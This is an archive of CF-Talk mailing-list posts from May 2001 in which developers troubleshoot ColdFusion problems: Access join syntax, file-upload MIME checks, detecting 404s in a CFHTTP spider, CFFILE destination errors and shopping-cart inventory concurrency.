/cfoutput /CFIF Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
MS Access JOIN Error
I'm getting the following error when trying to do a left join from an Access database from CF. I really don't know what I'm doing. Any clues would be appreciated Error Diagnostic Information ODBC Error Code = S1000 (General error) [Microsoft][ODBC Microsoft Access Driver] Join expression not supported. SQL = SELECT MPA Log.Service/FCP/TL AS Service, MPA Log.MPA # AS MPAnumb, MPA Log.Position Title AS PositionTitle, MPA Log.Series, MPA Log.Grade, MPA Log.MPA Posted AS Open, MPA Log.Closing Date AS Close, MPA Log.Panel Reuired AS Panel, MPA Log.Cert Issued AS Cert, MPA Log.Status/Comment AS Comment, 52 log.Supervisor AS Supervisor FROM MPA log LEFT JOIN 52 log ON 'MPA log.MPA #' = '52 log.MPA #' Data Source = HRTRACKER The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (3:1) to (4:32). Date/Time: 05/09/01 10:06:18 Browser: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Remote Address: 10.3.193.44 Thanks in Advance Doug Kronenberger OI National Training and Education Office Depatment of Veterans Affairs 440-526-3030 x7776 [EMAIL PROTECTED] ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: MS Access JOIN Error
Not sure about Access but in SQL you have to specify the fact that it's an outer join so instead of LEFT JOIN use LEFT OUTER JOIN. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 15:37 To: CF-Talk Subject: MS Access JOIN Error I'm getting the following error when trying to do a left join from an Access database from CF. I really don't know what I'm doing. Any clues would be appreciated Error Diagnostic Information ODBC Error Code = S1000 (General error) [Microsoft][ODBC Microsoft Access Driver] Join expression not supported. SQL = SELECT MPA Log.Service/FCP/TL AS Service, MPA Log.MPA # AS MPAnumb, MPA Log.Position Title AS PositionTitle, MPA Log.Series, MPA Log.Grade, MPA Log.MPA Posted AS Open, MPA Log.Closing Date AS Close, MPA Log.Panel Reuired AS Panel, MPA Log.Cert Issued AS Cert, MPA Log.Status/Comment AS Comment, 52 log.Supervisor AS Supervisor FROM MPA log LEFT JOIN 52 log ON 'MPA log.MPA #' = '52 log.MPA #' Data Source = HRTRACKER The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (3:1) to (4:32). Date/Time: 05/09/01 10:06:18 Browser: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Remote Address: 10.3.193.44 Thanks in Advance Doug Kronenberger OI National Training and Education Office Depatment of Veterans Affairs 440-526-3030 x7776 [EMAIL PROTECTED] ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: cffile vars
Dave, it would appear that CF is aware of the true file type of an uploaded file in spite of any file extension renaming. By way of a quick test I took a JPG and renamed it to .MP3 and uploaded it. file.contenttype and contentsubtype reflected the fact that the file was indeed an image/pjpeg and not audio/mpeg. I'm not sure where the examination takes place, though I would guess that the browser passes the content type as I have had trouble in the past with files uploaded from Macs not having a content type at all and therefore causing CFFILE to fail when the 'accept' attribute is used. Steve -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 14:32 To: CF-Talk Subject: RE: cffile vars CFFile.ContentType and CFFile.ContentSubType - are they reliable enough? I allow people to upload gif/jpg to one of my sites, and ONLY jpg/gif but I bet some of them will try to rename a .mp3 file into .gif or something. Can I use this to filter other formats, rather then images? CF isn't going to examine the actual file content - it wouldn't know how! So, if someone renames an .mp3 file with a .jpg extension, for all intents and purposes, it's now a .jpg file, both to the uploading browser and to your server. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Maybe OT: Infinite categories/subcategories
Let me verify what I see in your SQL. All your categories live in the same table, pcategory. You give that table 3 different 'aliases' though? I think is a self join. I do this so I can give a list of every thing and where they fall in the category structure. Also it seems as though you know ahead of time that all your products are 3 categories deep? This is the way we run everything. No more than 3 clicks and no more than 3 categories deep. But you can let it go as deep as you want. Its up to you. This brings me to the conclusion that this SQL is used to return all the products that are 3 categories deep? That is correct sir. I use this method to be able to show all categories with all their categories with all their categories with all their products. Wheh! Am I on track here Art? :) Yes you are Jeff. : ) If you want to go as deep as you want with you categories, you are on the right track. If you use loops and queries in the loops you will kill your self on how long it takes to run the page. You will want to use the joins in you SQL to make the page laod fast. I do have to give some thanks to Dave Watts because he is the one that helped me with this a year ago. If you need help with the queries let me know. I do use this method all the time now. Art ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
test
All my mails to CF Talk are vanishing... test resub... if you see this, reply directly :-) Regards, Thomas Chiverton Intranet Architect and Desktop Analyst 01565 757 909 It's not a job, it's an adventure ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: test
Can see it - J -Original Message- From: Thomas Chiverton [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 15:46 To: CF-Talk Subject: test All my mails to CF Talk are vanishing... test resub... if you see this, reply directly :-) Regards, Thomas Chiverton Intranet Architect and Desktop Analyst 01565 757 909 It's not a job, it's an adventure ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
OT: Spider 404s
I'm building a little spider in CF and want to check each page as it's retrieved to determine whether it contains the expected contents. Seems like looking for 404 in CFHTTP.FileContent won't cover everything. Does anyone have a good working list of words/phrases that can be used to verify links and ensure they're still active? Gene Kraybill ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: CFX_IMAGE original?
Great Thanks! Say - is it possible to specify MULTIPLE commands on the same CFX use? i.e ACTION=ROTATE then ACTION=RESIZE then ACTION=COPY for example? also - have you tried using the ACTION=IML to specify IPTC comments? Thanks, -=Michael. - Original Message - From: Russel Madere [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 3:57 PM Subject: RE: CFX_IMAGE original? I've use Jukka's tag quite a bit and it is good, but I work for a company involved with graphics. Jukka's tag just didn't cut it with us. But don't get me wrong. It is quite sufficient for what we needed. It resizes and composites acceptably. The antialiasing is fair. It could be better. If you don't need anything extremely involved, Jukka's tag is great. He could do a better job of documenting. It took us about 2 weeks to figure out everything we needed. Just to let you know, we are using Jukka's tag, but get complaints daily about the quality of the thumbnails it generates. I'm still waiting on Louis Sellar's CFX for resizing and compositing. As for the other tag, we looked at it and rejected it quickly. Jukka's tag was better by several orders of magnitude. Russel Russel Madere, Jr. Senior Web Developer ICQ: 5446158 http://www.TurboSquid.com Some days you eat the bear; some days the bear eats you. -Original Message- From: Michael Lugassy [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 07:02 To: CF-Talk Subject: CFX_IMAGE original? I just downloaded 2 cfx tags named: cfx_image. the first one was downloaded from allaire dev exchange - by gafware. the second one was downloaded from intrafoundation - by jukka. which one is better? I need to put this cfx into extensive use. any help would be appriciated. Michael. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Spider 404s
Try: CFHTTP.StatusCode Should contain 404 if the server is contacted and returns a 404. Steve -Original Message- From: Gene Kraybill [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 19:05 To: CF-Talk Subject: OT: Spider 404s I'm building a little spider in CF and want to check each page as it's retrieved to determine whether it contains the expected contents. Seems like looking for 404 in CFHTTP.FileContent won't cover everything. Does anyone have a good working list of words/phrases that can be used to verify links and ensure they're still active? Gene Kraybill ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: OT: Spider 404s
You should be able to check CFHTTP.StatusCode this will be equal to 404 or 500. 200 is a successful request. At 11:04 AM 5/9/2001 +00-07, you wrote: I'm building a little spider in CF and want to check each page as it's retrieved to determine whether it contains the expected contents. Seems like looking for 404 in CFHTTP.FileContent won't cover everything. Does anyone have a good working list of words/phrases that can be used to verify links and ensure they're still active? Gene Kraybill ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Spider 404s
I'm building a little spider in CF and want to check each page as it's retrieved to determine whether it contains the expected contents. Seems like looking for 404 in CFHTTP.FileContent won't cover everything. Does anyone have a good working list of words/phrases that can be used to verify links and ensure they're still active? Looking for 404 in CFHTTP.FileContent won't help you if the web server returns an HTTP status code of 404. Instead, you might look at the variable CFHTTP.StatusCode if you're running CF 4.5.x. Actually, this variable might be present in earlier versions, but I don't know for sure. Incidentally, if you request a non-existent CF page, you won't get back a 404 status code, even though the page itself will say HTTP/1.0 404 Object Not Found. The server will actually return a 200 status code, which typically means everything's OK. So, your spider may need to take this into account. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: test
Sorted now. Thanks to those who replied. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Uploading a file
you are missing the accept paramater, cffile action=UPLOAD nameconflict=OVERWRITE filefield=addfile destination=#application.root#jobdescriptionDocs\ ACCEPT=mime_type/file_type This could very well be your problem, I think the mime type for Word docs is application/ms-word -Original Message- From: Nick Betts [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:41 To: CF-Talk Subject: Uploading a file Hi, I am trying to upload a file on a server using CFFILE. All is well in development, however on live server I get the following error: Error Occurred While Processing Request Error Diagnostic Information Request canceled or ignored by serverServer busy or unable to fulfill request. The server is unable to fulfill your request due to extremely high traffic or an unexpected internal error. Please attempt your request again (if you are repeatedly unsuccessful you should notify the site administrator). (Location Code: 26) The code I use to upload file is: cffile action=UPLOAD nameconflict=OVERWRITE filefield=addfile destination=#application.root#jobdescriptionDocs\ cfset suploadedfile = file.serverfile Is this error simply a server problem or is it to do with CFFILE. Cheers, Nick. -Original Message- From: Foggy, Doreen [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:16 To: CF-Talk Subject: RE: CFFILE I don't think it is a permission problem. I set the permission on the folder to everyone and still received the same error. It may be a network problem. When I upload the file to my hard drive destination path=c:\ It works. Any other path on my server returns the same error. Please advise... Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag (g:\) is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position (21:1) to (24:33). -Original Message- From: Howie Hamlin [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 11:48 AM To: CF-Talk Subject: Re: CFFILE If you are using UNC paths then you need to run CF under a user account with rights to the folder on the other server. By default, CF runs under the system account. You can change this in the NT Services applet. HTH, Howie Hamlin - inFusion Project Manager On-Line Data Solutions, Inc. www.CoolFusion.com 631-737-4668 x101 inFusion Mail Server (iMS) - The Intelligent Mail Server - Original Message - From: Foggy, Doreen [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 11:43 AM Subject: CFFILE Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag chh-test\www\lmts_int\cic is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position I am using the CFFILE tag for the first time and I am running into some problems. Please Help! The directory does exist and I am not sure what accessible by the ColdFuison service means. The directory is located on the web server. * I have two forms * upload.cfm (html form) * uploadfile.cfm (action page) The syntax for both is located below: Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- FORM ACTION=uploadfile.cfm ENCTYPE=multipart/form-dataMETHOD=POST table border=0 tr tdFile to upload:/td td input name=FileName size=50 type=FILE /td /tr tr tdFile Destination:/td td input type=text name=FileDestination value=\\chh-test\www\lmts_int\cic size=50 input type=SUBMIT size=50 value=Upload name=SUBMIT /td /tr /table nbsp; /FORM /BODY /HTML Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- cffile action=UPLOAD filefield=FileName destination=#form.FileDestination# nameconflict=OVERWRITE CFOUTPUT CENTER CF 3.1 CFFILE Tag File Upload Demonstration Results - Example 1P File Upload was Successful! Information about the file is detailed below. /CENTER HR TABLE CAPTIONBFile Information/B/CAPTION TR TH VALIGN=top ALIGN=LEFTFile Name:/THTD#File.ServerDirectory#\#FILE.ServerFile#/TD TH VALIGN=top ALIGN=LEFTContent
RE: [Object Oriented CFML]
If I remember correctly, Neo will actually be a full set of JSP Custom tags to convert the CFML to appropriate Java syntax (which will be compiled to a servlet class file). It's pretty much the same as using the Jrun custom tags like %jrun:sql%. This will be some really cool technology as you should also be able to intermix pure Java with CF in the same template. Heard this from a Jrun seminar a few months ago... Jeff Garza Web Developer/Webmaster Spectrum Astro, Inc. 480.892.8200 [EMAIL PROTECTED] http://www.spectrumastro.com -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 2:44 AM To: CF-Talk Subject: RE: [Object Oriented CFML] Nick Yeh I thought that sounded pretty interesting too! I'm the first person to admint that serverlets are pretty coollightning quick if I remember correctly. What bothers/worries me is how you can convert your cfml code into a serverlet without losing anything in the translation..we'll just have to wait and see I guess. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: DeVoil, Nick [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 10:01 To: CF-Talk Subject: RE: [Object Oriented CFML] Can you call a JSP page as an object, pass parameters to it, have its variables and such encapsulated, etc? You can't do this with a JSP per se, but you can call Java classes from within a JSP. You can do it with a servlet. A servlet is a Java class. A JSP interpreter such as JRun turns JSP's into servlets. You can write servlets directly without the JSP stage. JRun also provides the servlet engine, i.e. the other Java classes you need to actually run the servlet. Neo, on the other hand, also turns CFML templates into Java servlets... which I think is pretty interesting. Nick ** Information in this email is confidential and may be privileged. It is intended for the addressee only. If you have received it in error, please notify the sender immediately and delete it from your system. You should not otherwise copy it, retransmit it or use or disclose its contents to anyone. Thank you for your co-operation. ** ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: MS Access JOIN Error
No, Access only allows a LEFT JOIN. Try Creating the query in the Access Query builder and paste to your CMFL template. This is by far the easiest way I found to deal with Access's squirly SQL syntax... Jeff Garza Web Developer/Webmaster Spectrum Astro, Inc. 480.892.8200 [EMAIL PROTECTED] http://www.spectrumastro.com -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 7:32 AM To: CF-Talk Subject: RE: MS Access JOIN Error Not sure about Access but in SQL you have to specify the fact that it's an outer join so instead of LEFT JOIN use LEFT OUTER JOIN. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 15:37 To: CF-Talk Subject: MS Access JOIN Error I'm getting the following error when trying to do a left join from an Access database from CF. I really don't know what I'm doing. Any clues would be appreciated Error Diagnostic Information ODBC Error Code = S1000 (General error) [Microsoft][ODBC Microsoft Access Driver] Join expression not supported. SQL = SELECT MPA Log.Service/FCP/TL AS Service, MPA Log.MPA # AS MPAnumb, MPA Log.Position Title AS PositionTitle, MPA Log.Series, MPA Log.Grade, MPA Log.MPA Posted AS Open, MPA Log.Closing Date AS Close, MPA Log.Panel Reuired AS Panel, MPA Log.Cert Issued AS Cert, MPA Log.Status/Comment AS Comment, 52 log.Supervisor AS Supervisor FROM MPA log LEFT JOIN 52 log ON 'MPA log.MPA #' = '52 log.MPA #' Data Source = HRTRACKER The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (3:1) to (4:32). Date/Time: 05/09/01 10:06:18 Browser: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Remote Address: 10.3.193.44 Thanks in Advance Doug Kronenberger OI National Training and Education Office Depatment of Veterans Affairs 440-526-3030 x7776 [EMAIL PROTECTED] ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
cfloop vs cfoutput
Sorry for the crosspost (had conflicting answers from other lists) but is there a consensus on which method of looping over a query is fastest? cfloop or cfoutput.. Cheers KOLa ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: MS Access JOIN Error
Does this work? FROM [MPA log] LEFT JOIN [52 log] ON [MPA log].[MPA #] = [52 log].[MPA #] Those table names and field names are pretty confusing. Is it an option for you to change the names so that they do not contain spaces, pound signs etc? Nick -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 3:37 PM To: CF-Talk Subject: MS Access JOIN Error I'm getting the following error when trying to do a left join from an Access database from CF. I really don't know what I'm doing. Any clues would be appreciated Error Diagnostic Information ODBC Error Code = S1000 (General error) [Microsoft][ODBC Microsoft Access Driver] Join expression not supported. SQL = SELECT MPA Log.Service/FCP/TL AS Service, MPA Log.MPA # AS MPAnumb, MPA Log.Position Title AS PositionTitle, MPA Log.Series, MPA Log.Grade, MPA Log.MPA Posted AS Open, MPA Log.Closing Date AS Close, MPA Log.Panel Reuired AS Panel, MPA Log.Cert Issued AS Cert, MPA Log.Status/Comment AS Comment, 52 log.Supervisor AS Supervisor FROM MPA log LEFT JOIN 52 log ON 'MPA log.MPA #' = '52 log.MPA #' Data Source = HRTRACKER The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (3:1) to (4:32). Date/Time: 05/09/01 10:06:18 Browser: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Remote Address: 10.3.193.44 Thanks in Advance Doug Kronenberger OI National Training and Education Office Depatment of Veterans Affairs 440-526-3030 x7776 [EMAIL PROTECTED] ** Information in this email is confidential and may be privileged. It is intended for the addressee only. If you have received it in error, please notify the sender immediately and delete it from your system. You should not otherwise copy it, retransmit it or use or disclose its contents to anyone. Thank you for your co-operation. ** ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Array String Concatenation
Just for clarification: what are your intended results? Are you making a list of clickable teams from a database? Could you, instead of using a two dimensional array use an array with a structure in it like this: cfscript Standings[1][TeamName] = Barracudas; Standings[1][TeamID] = 17; /cfscript Then you can spit out your clickable link as follows: A HREF=TeamPlayers.cfm?TeamID=#Standings[1][TeamID]##Standings[1][TeamName]# /A Hope this helps. Signed, Bill King HostWorks INC http://www.hostworks.com -Original Message- From: Jeffrey R. Thomas [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 8:03 PM To: CF-Talk Subject: Array String Concatenation I am trying to concatenate an array string. This is what I presently have: cfset Standings[ArrayLen(Standings)+1][1]=#TeamName# I would like to add alink with url.TeamID to the team name so that when I output the array using a loop the TeamName will show up as a link. I would like to have something like this (below) to be added to the array entry above. A HREF=TeamPlayers.cfm?TeamID=#TeamID##TeamName#/A Thanks.. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Spider 404s
Funny you should mention this -- we go this hit from Google the other day: http://www.as.columbia.edu/test404response2057687042.html Now since we have no page of that name, I'm guessing that google is dealing with exactly the same problem that you are, and their process goes something like this: Fire off a bad request (complete with random number) Store the response as your prototypical 404 page When making other requests, compare the response to the prototypical 404 page. If it more or less matches it, don't add it to the database. I thought it seemed a rather neat system (if in fact that was what they were doing) Michael Caulfield -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 10:30 AM To: CF-Talk Subject: RE: Spider 404s I'm building a little spider in CF and want to check each page as it's retrieved to determine whether it contains the expected contents. Seems like looking for 404 in CFHTTP.FileContent won't cover everything. Does anyone have a good working list of words/phrases that can be used to verify links and ensure they're still active? Looking for 404 in CFHTTP.FileContent won't help you if the web server returns an HTTP status code of 404. Instead, you might look at the variable CFHTTP.StatusCode if you're running CF 4.5.x. Actually, this variable might be present in earlier versions, but I don't know for sure. Incidentally, if you request a non-existent CF page, you won't get back a 404 status code, even though the page itself will say HTTP/1.0 404 Object Not Found. The server will actually return a 200 status code, which typically means everything's OK. So, your spider may need to take this into account. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Spider 404s
Gene, In addition to the comments you've received, you could also take the route of using a try/catch statement with the TYPE= to one of the HTTP exception types (see below): Examples: CFTRY cfhttp statement here... !--- 404 Not Found --- CFCATCH TYPE=COM.Allaire.ColdFusion.HTTPNotFound ...code... /CFCATCH !--- 401 Unauthorized --- CFCATCH TYPE=COM.Allaire.ColdFusion.HTTPAuthFailure ...code... /CFCATCH /CFTRY Exception types: COM.Allaire.ColdFusion.CFEXECUTE.OutputError COM.Allaire.ColdFusion.CFEXECUTE.Timeout COM.Allaire.ColdFusion.HTTPAccepted COM.Allaire.ColdFusion.HTTPAuthFailure COM.Allaire.ColdFusion.HTTPBadGateway COM.Allaire.ColdFusion.HTTPBadRequest COM.Allaire.ColdFusion.HTTPCFHTTPRequestEntityTooLarge COM.Allaire.ColdFusion.HTTPCFMLRequestFailure COM.Allaire.ColdFusion.HTTPCGIValueNotPassed COM.Allaire.ColdFusion.HTTPConflict COM.Allaire.ColdFusion.HTTPConnectionTimeout COM.Allaire.ColdFusion.HTTPContentLengthRequired COM.Allaire.ColdFusion.HTTPContinue COM.Allaire.ColdFusion.HTTPCookieValueNotPassed COM.Allaire.ColdFusion.HTTPCreated COM.Allaire.ColdFusion.HTTPFailure COM.Allaire.ColdFusion.HTTPFileInvalidPath COM.Allaire.ColdFusion.HTTPFileNotFound COM.Allaire.ColdFusion.HTTPFileNotPassed COM.Allaire.ColdFusion.HTTPFileNotRenderable COM.Allaire.ColdFusion.HTTPForbidden COM.Allaire.ColdFusion.HTTPGatewayTimeout COM.Allaire.ColdFusion.HTTPGone COM.Allaire.ColdFusion.HTTPMethodNotAllowed COM.Allaire.ColdFusion.HTTPMovedPermanently COM.Allaire.ColdFusion.HTTPMovedTemporarily COM.Allaire.ColdFusion.HTTPMultipleChoices COM.Allaire.ColdFusion.HTTPNoContent COM.Allaire.ColdFusion.HTTPNonAuthoritativeInfo COM.Allaire.ColdFusion.HTTPNotAcceptable COM.Allaire.ColdFusion.HTTPNotFound COM.Allaire.ColdFusion.HTTPNotImplemented COM.Allaire.ColdFusion.HTTPNotModified COM.Allaire.ColdFusion.HTTPPartialContent COM.Allaire.ColdFusion.HTTPPaymentRequired COM.Allaire.ColdFusion.HTTPPreconditionFailed COM.Allaire.ColdFusion.HTTPProxyAuthenticationRequired COM.Allaire.ColdFusion.HTTPRequestURITooLarge COM.Allaire.ColdFusion.HTTPResetContent COM.Allaire.ColdFusion.HTTPSeeOther COM.Allaire.ColdFusion.HTTPServerError COM.Allaire.ColdFusion.HTTPServiceUnavailable COM.Allaire.ColdFusion.HTTPSwitchingProtocols COM.Allaire.ColdFusion.HTTPUnsupportedMediaType COM.Allaire.ColdFusion.HTTPUrlValueNotPassed COM.Allaire.ColdFusion.HTTPUseProxy COM.Allaire.ColdFusion.HTTPVersionNotSupported COM.Allaire.ColdFusion.POPAuthFailure COM.Allaire.ColdFusion.POPConnectionFailure COM.Allaire.ColdFusion.POPDeleteError COM.Allaire.ColdFusion.Request.Timeout COM.Allaire.ColdFusion.SERVLETJRunError Dain Anderson Caretaker, CF Comet http://www.cfcomet.com/ - Original Message - From: Gene Kraybill [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Wednesday, May 09, 2001 2:04 PM Subject: OT: Spider 404s I'm building a little spider in CF and want to check each page as it's retrieved to determine whether it contains the expected contents. Seems like looking for 404 in CFHTTP.FileContent won't cover everything. Does anyone have a good working list of words/phrases that can be used to verify links and ensure they're still active? Gene Kraybill ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: concurrency problem..
Well, that's a problem. Let's assume that we can mark a quantity of an item as taken when they place it in their shopping cart. What percentage of shopping carts are abandonned? Plenty. So that inventory is locked up until this cleanup runs - which may be before the user has finished shopping! A suggestion is to when the user selects the room/item is to mark the record as being taken, and with a date/time. Thus not available for someone else. Then I would run a clean up file to unmark those checked after say 20 minutes or so. Maybe a scheduled task every hour -Original Message- From: Tony Schreiber [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 09, 2001 7:06 AM To: CF-Talk Subject: Re: concurrency problem.. I have somewhat of the same issue... In my shopping cart which show live inventory available, stock is check before you put the item in the cart. And then again during a transaction which puts the item in your order. But there is the possibility that someone will have ordered the last widget AFTER the inventory check, but BEFORE the actual decrement of inventory. How does everyone handle this? hi ppl... i have a hotel booking system that lets the users to reserve room thru the web. I retrieve the hotel room capacity to show the current room available... if the capacity is zero.. the page will indicate fully booked. In order to have the 